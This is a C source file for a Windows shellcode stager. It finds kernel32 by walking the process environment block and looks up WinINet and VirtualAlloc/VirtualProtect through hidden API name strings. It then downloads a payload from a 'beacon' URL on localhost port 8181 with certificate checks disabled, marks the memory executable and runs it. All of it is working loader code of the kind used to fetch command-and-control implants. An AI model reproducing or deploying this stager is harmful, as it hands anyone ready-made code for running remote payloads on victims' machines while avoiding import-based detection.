#include "head.h"

#include <intrin.h>

__declspec(noinline) ULONG_PTR caller(VOID);

void StartingPoint() {

BYTE Kernel32[] = kernel32dll;

BYTE Wininet[] = wininetdll;

BYTE LoadLibraryA_Func[] = var10;

BYTE read[] = var1;

BYTE openurl[] = var2;

BYTE internetOpen[] = var3;

BYTE Vir[] = var5;

BYTE VirProtect[] = var6;

BYTE HttpQueryInfoA_Func[] = { 'H','t','t','p','Q','u','e','r','y','I','n','f','o','A',0 };

BYTE InternetCloseHandle_Func[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e',0 };

#if defined(_AMD64_)

ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readgsqword(0x60))->pLdr)->InMemoryOrderModuleList.Flink);

#else

ULONG_PTR dwKernelBase = GetKernel32DLL((ULONG_PTR)((PPEB_LDR_DATA)((_PPEB)__readfsdword(0x30))->pLdr)->InMemoryOrderModuleList.Flink);

#endif

FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)GetProcAddress_Func(dwKernelBase);

FN_LoadLibraryA fn_LoadLibraryA = (FN_LoadLibraryA)fn_GetProcAddress((HMODULE)dwKernelBase, (LPCSTR)LoadLibraryA_Func);

HMODULE kernel32DLLAddr = fn_LoadLibraryA((LPCSTR)Kernel32);

HMODULE winNetDllAddr = fn_LoadLibraryA((LPCSTR)Wininet);

FN_InternetOpenA TOpen = (FN_InternetOpenA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)internetOpen);

FN_InternetOpenUrlA TOpenUrlA = (FN_InternetOpenUrlA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)openurl);

FN_InternetReadFile TReadFile = (FN_InternetReadFile)fn_GetProcAddress(winNetDllAddr, (LPCSTR)read);

FN_VirtualAlloc TVirtualAlloc = (FN_VirtualAlloc)fn_GetProcAddress(kernel32DLLAddr, (LPCSTR)Vir);

FN_VirtualProtect TVirtualProtect = (FN_VirtualProtect)fn_GetProcAddress(kernel32DLLAddr, (LPCSTR)VirProtect);

FN_HttpQueryInfoA THttpQueryInfoA = (FN_HttpQueryInfoA)fn_GetProcAddress(winNetDllAddr, (LPCSTR)HttpQueryInfoA_Func);

FN_InternetCloseHandle TInternetCloseHandle = (FN_InternetCloseHandle)fn_GetProcAddress(winNetDllAddr, (LPCSTR)InternetCloseHandle_Func);

BYTE url[] = { 'h', 't', 't', 'p', ':', '/', '/', '1', '2', '7', '.', '0', '.', '0', '.', '1', ':', '8', '1', '8', '1', '/', 'b', 'e', 'a', 'c', 'o', 'n', 0 };

DWORD dwFlags = INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | 0x80000000 | 0x400;

HINTERNET session = TOpenUrlA(TOpen((LPCSTR)0, 0, NULL, 0, NULL), (LPCSTR)url, NULL, 0, dwFlags, 0);

if (session) {

DWORD contentLength = 0;

char buffer[64];

DWORD bufferLength = sizeof(buffer);

if (THttpQueryInfoA(session, HTTP_QUERY_CONTENT_LENGTH, buffer, &bufferLength, NULL)) {

contentLength = 0;

for (char* p = buffer; *p >= '0' && *p <= '9'; p++) {

contentLength = contentLength * 10 + (*p - '0');

}

}

if (contentLength > 0) {

unsigned char* addr = (unsigned char*)TVirtualAlloc(0, contentLength, MEM_COMMIT, PAGE_READWRITE);

if (addr) {

DWORD bytes_read;

DWORD total_bytes = 0;

while (total_bytes < contentLength) {

if (!TReadFile(session, addr + total_bytes, contentLength - total_bytes, &bytes_read)) {

break;

}

if (bytes_read == 0) break;

total_bytes += bytes_read;

}

DWORD oldProtect;

if (TVirtualProtect(addr, contentLength, PAGE_EXECUTE_READ, &oldProtect)) {

((void(*)())addr)();

}

}

}

TInternetCloseHandle(session);

}

return;

}

__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }